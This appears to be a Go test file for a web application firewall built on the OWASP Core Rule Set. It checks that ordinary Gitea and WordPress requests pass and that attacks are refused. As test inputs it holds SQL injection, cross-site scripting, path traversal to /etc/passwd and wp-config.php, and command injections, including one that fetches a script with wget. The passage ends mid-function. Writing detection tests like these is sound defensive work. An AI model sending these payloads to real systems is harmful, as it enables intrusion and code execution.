Files
smallwebwaf/internal/coreruleset/coreruleset_test.go
T
sneak c48393574c
check / check (push) Successful in 4m42s
Core Rule Set: WordPress's ordinary requests pass by default (closes #235)
Add the ninth change: wordpress.conf switches off, per path and field, each
rule that refused ordinary WordPress 7.1.4 requests. Three groups of fields
skip four rules on system files and commands, and only the addresses of the
first group also skip 932235. Add the recorded requests, a test at the
defaults and reading bodies, and list WordPress in the README.

Model: opus-5-5 (rework); sonnet-5-5 (copied the recorded lines)
2026-11-09 10:29:36 +00:00

1364 lines
43 KiB
Go

package coreruleset_test
import (
"encoding/json"
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"os"
"path/filepath"
"reflect"
"slices"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: level, DisabledRules: disabled,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
) (coreruleset.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) coreruleset.Result {
const critical = 5
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as sww runs it by default.
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a request one of the
// nine changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
) {
t.Helper()
wantResult(t, crs, passes, coreruleset.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
coreruleset.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
coreruleset.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
coreruleset.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result coreruleset.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
matched(944130))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
}
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
reuse := "?mount=sha256:0000&from=owner/python3-app"
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
matched(932260))
// A command after the image's name is still refused.
wantResult(t, crs,
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
matched(930120, 932160))
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
})
}
// exclusionsFile writes text to a file of exclusions and returns its path.
func exclusionsFile(t *testing.T, text string) string {
t.Helper()
path := filepath.Join(t.TempDir(), "exclusions.conf")
err := os.WriteFile(path, []byte(text), 0o600)
if err != nil {
t.Fatal(err)
}
return path
}
// backupFileExclusion is an exclusions file that switches 920500, a rule
// of phase 1, off for the path of a backup file under /files/.
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
t.Parallel()
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
}
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
t.Parallel()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: []int{920500},
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
})
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
}
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
t.Parallel()
_, err := withExclusions(exclusionsFile(t,
"# 942100: GET /issues/900123\n"+backupFileExclusion))
if err != nil {
t.Errorf("the exclusions did not load: %v", err)
}
}
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
t.Parallel()
missing := filepath.Join(t.TempDir(), "missing.conf")
_, err := withExclusions(missing)
if err == nil {
t.Errorf("%s loaded", missing)
}
for _, tc := range []struct{ text, want string }{
{"SecNoSuchDirective On\n", "unknown directive"},
// sww's own rules may not be switched off or changed, by
// id or in a range, on one line or split over several.
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
"names 899999-901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
"names 899999-+901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
"names 900500",
},
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
" ctl:ruleRemoveById=9005\\\n 00\"\n",
"names 900500",
},
// The Core Rule Set's rules load after the file.
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
{
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
"SecRuleUpdateTargetById in the exclusions file",
},
} {
_, err := withExclusions(exclusionsFile(t, tc.text))
if err == nil || !strings.Contains(err.Error(), tc.want) {
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
}
}
}
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
// In q too, off gitea's search pages.
for _, parameter := range []string{"id", "q"} {
for _, attack := range []string{
"1'%20OR%20'1'='1",
"..%2Fcustom%2Fconf%2Fapp.ini",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
} {
target := "/owner/repo?" + parameter + "=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
}
}
// wpLogin is WordPress's sign-in path.
const wpLogin = "/wp-login.php"
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// wordpressRequests returns the recorded ordinary WordPress requests in
// testdata, each with its body.
func wordpressRequests(t *testing.T) []recordedRequest {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "wordpress-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// wordpressAttackTargets returns attack in a query parameter no exclusion
// names, and in each field whose searches and names skip some rules there.
func wordpressAttackTargets(attack string) []string {
return []string{
"/?id=" + attack,
wpLogin + "?id=" + attack,
"/wp-admin/admin-ajax.php?id=" + attack,
"/wp-json/wp/v2/posts?id=" + attack,
"/?s=" + attack,
"/index.php?s=" + attack,
"/page/2/?s=" + attack,
"/index.php/page/2/?s=" + attack,
"/wp-admin/edit.php?s=" + attack,
"/wp-admin/upload.php?s=" + attack,
"/wp-admin/plugin-install.php?s=" + attack,
"/wp-admin/edit-comments.php?s=" + attack,
"/wp-admin/users.php?s=" + attack,
"/wp-admin/plugins.php?s=" + attack,
"/wp-admin/edit-tags.php?s=" + attack,
"/wp-json/wp/v2/search?search=" + attack,
"/wp-json/wp/v2/posts?search=" + attack,
"/wp-json/wp/v2/tags?search=" + attack,
"/?rest_route=/wp/v2/search&search=" + attack,
"/wp-json/wp/v2/posts?slug=" + attack,
"/wp-json/wp/v2/tags?slug=" + attack,
"/?rest_route=/wp/v2/posts&slug=" + attack,
"/wp-json/wp/v2/block-directory/search?term=" + attack,
"/wp-admin/themes.php?search=" + attack,
"/wp-admin/theme-install.php?search=" + attack,
"/wp-admin/upload.php?search=" + attack,
"/wp-admin/admin-ajax.php?q=" + attack,
"/wp-admin/admin-ajax.php?term=" + attack,
"/wp-admin/edit.php?_wp_http_referer=" + attack,
"/wp-admin/upload.php?_wp_http_referer=" + attack,
"/?tag=" + attack,
"/index.php?tag=" + attack,
"/wp-admin/edit.php?tag=" + attack,
"/wp-admin/edit.php?category_name=" + attack,
"/wp-admin/plugin-editor.php?file=" + attack,
"/wp-admin/theme-editor.php?file=" + attack,
"/wp-admin/plugin-editor.php?plugin=" + attack,
"/wp-admin/plugins.php?plugin=" + attack,
"/wp-admin/update.php?plugin=" + attack,
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range wordpressRequests(t) {
r := request{recorded.Method, recorded.Target, recorded.Headers}
crsSets := []*coreruleset.CoreRuleSet{defaults}
if recorded.Body != "" {
crsSets = append(crsSets, bodies)
}
for _, crs := range crsSets {
got, _ := inspectBody(t, crs, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
}
}
}
for _, attack := range []string{
"1'%20OR%20'1'='1",
"..%2F..%2Fwp-config.php",
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
} {
for _, target := range wordpressAttackTargets(attack) {
if got := inspect(t, defaults, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
// In a body field no exclusion names, on the paths with exclusions.
body := "id=" + attack
for _, target := range []string{
wpLogin,
"/wp-comments-post.php",
"/wp-admin/admin-ajax.php",
"/wp-admin/post.php",
"/wp-admin/options.php",
} {
got, _ := inspectBody(t, bodies,
request{http.MethodPost, target, []string{formData}}, body)
if got.Score < threshold {
t.Errorf("POST %s %q let through: %+v", target, body, got)
}
}
}
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
// wordpressOverride is the header with which the block editor saves.
const wordpressOverride = "X-HTTP-Method-Override: PUT"
// wordpressRESTAddresses returns the four addresses of route on the REST
// API.
func wordpressRESTAddresses(route string) []string {
return []string{
"/wp-json" + route,
"/index.php/wp-json" + route,
"/index.php?rest_route=" + route,
"/?rest_route=" + route,
}
}
func TestWordPressExclusionsFollowEveryRESTAddress(t *testing.T) {
t.Parallel()
crs := readingBodiesUpTo64K(t)
content := `{"content":"` + wordpressBlock + `"}`
for _, route := range []string{
"/wp/v2/posts/1",
"/wp/v2/posts/1/autosaves",
"/wp/v2/pages/2",
"/wp/v2/templates/twentytwentyfive//index",
"/wp/v2/template-parts/twentytwentyfive//header",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
wantBody(t, crs, r, content, coreruleset.Result{}, content)
}
}
// The routes that save something else keep the rules.
for _, route := range []string{
"/wp/v2/comments", "/wp/v2/users/1", "/wp/v2/settings",
} {
for _, address := range wordpressRESTAddresses(route) {
r := request{http.MethodPost, address, []string{jsonBody}}
wantBody(t, crs, r, content, matched(941180), content)
}
}
// WordPress follows a route in the query over one in the path.
r := request{
http.MethodPost, "/wp-json/wp/v2/posts/1?rest_route=/wp/v2/comments",
[]string{jsonBody},
}
wantBody(t, crs, r, content, matched(941180), content)
}
func TestWordPressSearchesAndFileNamesAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?s=python3"), get("/wp-admin/options.php?id=python3"),
matched(932260))
wantChange(t, crs, get("/?s=python3"), get("/?q=python3"), matched(932260))
wantChange(t, crs, get("/index.php?s=ls+-la"), get("/index.php?q=ls+-la"),
matched(932250))
wantChange(t, crs, get("/wp-json/wp/v2/search?search=powershell"),
get("/wp-json/example/v1/things?search=powershell"), matched(932120))
wantChange(t, crs, get("/index.php?rest_route=/wp/v2/search&search=powershell"),
get("/index.php?rest_route=/example/v1/things&search=powershell"), matched(932120))
wantChange(t, crs,
get("/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php"),
get("/wp-admin/options.php?file=akismet%2Fviews%2Fconfig.php"), matched(930120))
wantChange(t, crs, get("/wp-admin/theme-editor.php?file=docker-compose.yml"),
get("/wp-admin/theme-editor.php?id=docker-compose.yml"), matched(932260))
}
// TestWordPressGroupsSkipRulesOnTheirFields checks each field of the three
// groups in wordpress.conf at one target of its group, against the same
// values in a field no group names, then one field at each other target of
// the group.
func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
t.Parallel()
// A page's address, repeating the search it came from. Rules 932235
// and 932260 match it, and only the fields that hold an address skip
// 932235.
const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"
crs := atDefaults(t)
values := []struct {
value string
rule int
}{
{".htaccess", 930120},
{"powershell", 932120},
{"ls+-la", 932250},
{"python3", 932260},
}
for _, group := range []struct {
target string
fields []string
addressFields []string
}{
{
"/wp-admin/options.php?",
[]string{
"s", "search", "q", "term", "tag", "category_name", "plugin",
"checked%5B%5D", "theme", "stylesheet",
},
[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
},
{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
{"/?", []string{"s", "tag"}, nil},
} {
wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))
for _, field := range group.fields {
wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
}
for _, field := range group.addressFields {
wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
}
for _, v := range values {
wantResult(t, crs, get(group.target+"id="+v.value), matched(v.rule))
for _, field := range slices.Concat(group.fields, group.addressFields) {
wantResult(t, crs, get(group.target+field+"="+v.value), coreruleset.Result{})
}
}
}
for _, target := range []string{
"/wp-admin/term.php?s=python3",
wpLogin + "?s=python3",
"/index.php/wp-json/wp/v2/tags?slug=python3",
"/index.php?rest_route=/wp/v2/tags&slug=python3",
"/?rest_route=/wp/v2/tags&slug=python3",
"/wp-json/oembed/1.0/embed?url=python3",
"/?rest_route=/oembed/1.0/embed&url=python3",
"/index.php?tag=python3",
"/page/2/?tag=python3",
"/index.php/page/2/?s=python3",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
}
func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
t.Parallel()
const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"
crs := atDefaults(t)
for _, target := range []string{
"/?s=",
"/page/2/?s=",
"/wp-admin/edit.php?s=",
"/wp-json/wp/v2/search?search=",
"/wp-admin/themes.php?search=",
"/wp-json/wp/v2/posts?slug=",
"/?rest_route=/wp/v2/posts&slug=",
"/wp-json/wp/v2/tags?url=",
"/wp-json/oembed/1.0/embed?url=",
"/?tag=",
"/wp-admin/edit.php?tag=",
"/wp-admin/admin-ajax.php?q=",
} {
wantResult(t, crs, get(target+command), matched(932235))
}
}
// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
// on one of its paths against the same value where no exclusion applies.
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
const elsewhere = "/example/things"
crs := atDefaults(t)
for _, tt := range []struct {
target string
rule int
}{
{"/page/2/?s=python3", 932260},
{"/page/2/?s=ls+-la", 932250},
{"/page/2/?s=powershell", 932120},
{"/index.php/page/2/?s=python3", 932260},
{"/?s=.htaccess", 930120},
{"/?s=wp-config.php", 930120},
{"/?s=.bashrc", 930120},
{"/page/2/?s=.htaccess", 930120},
{"/wp-admin/edit-comments.php?s=powershell", 932120},
{"/wp-admin/users.php?s=ls+-la", 932250},
{"/wp-admin/plugins.php?s=python3", 932260},
{"/wp-admin/edit-tags.php?s=python3", 932260},
{"/wp-admin/themes.php?search=powershell", 932120},
{"/wp-admin/theme-install.php?search=ls+-la", 932250},
{"/wp-admin/upload.php?search=python3", 932260},
{"/wp-admin/admin-ajax.php?q=powershell", 932120},
{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?q=python3", 932260},
{"/wp-admin/admin-ajax.php?term=powershell", 932120},
{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
{"/wp-admin/admin-ajax.php?term=python3", 932260},
{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
{"/?tag=python3", 932260},
{"/index.php?tag=powershell", 932120},
{"/wp-admin/edit.php?tag=ls+-la", 932250},
{"/wp-admin/edit.php?category_name=python3", 932260},
{"/wp-admin/edit.php?category_name=powershell", 932120},
{"/wp-admin/edit.php?category_name=ls+-la", 932250},
{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
{"/wp-admin/update.php?plugin=docker-helper", 932260},
} {
_, query, _ := strings.Cut(tt.target, "?")
wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
}
}
// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term and the
// header X-HTTP-Method-Override at the REST API's addresses.
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
// Any route of WordPress's own API, at each address.
for _, route := range []string{
"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
} {
wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
get("/wp-json/example/v1/things?search=python3"), matched(932260))
wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
}
const directory = "/wp-json/wp/v2/block-directory/search"
wantChange(t, crs, get(directory+"?term=python3"),
get("/wp-json/example/v1/things?term=python3"), matched(932260))
wantChange(t, crs, get(directory+"?term=powershell"),
get("/wp-json/example/v1/things?term=powershell"), matched(932120))
wantChange(t, crs, get(directory+"?term=ls+-la"),
get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))
// The header X-HTTP-Method-Override at the address on the site root,
// and off the REST API.
headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
wantChange(t, crs,
request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
request{http.MethodPost, "/?p=1", headers}, matched(920450))
}
func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
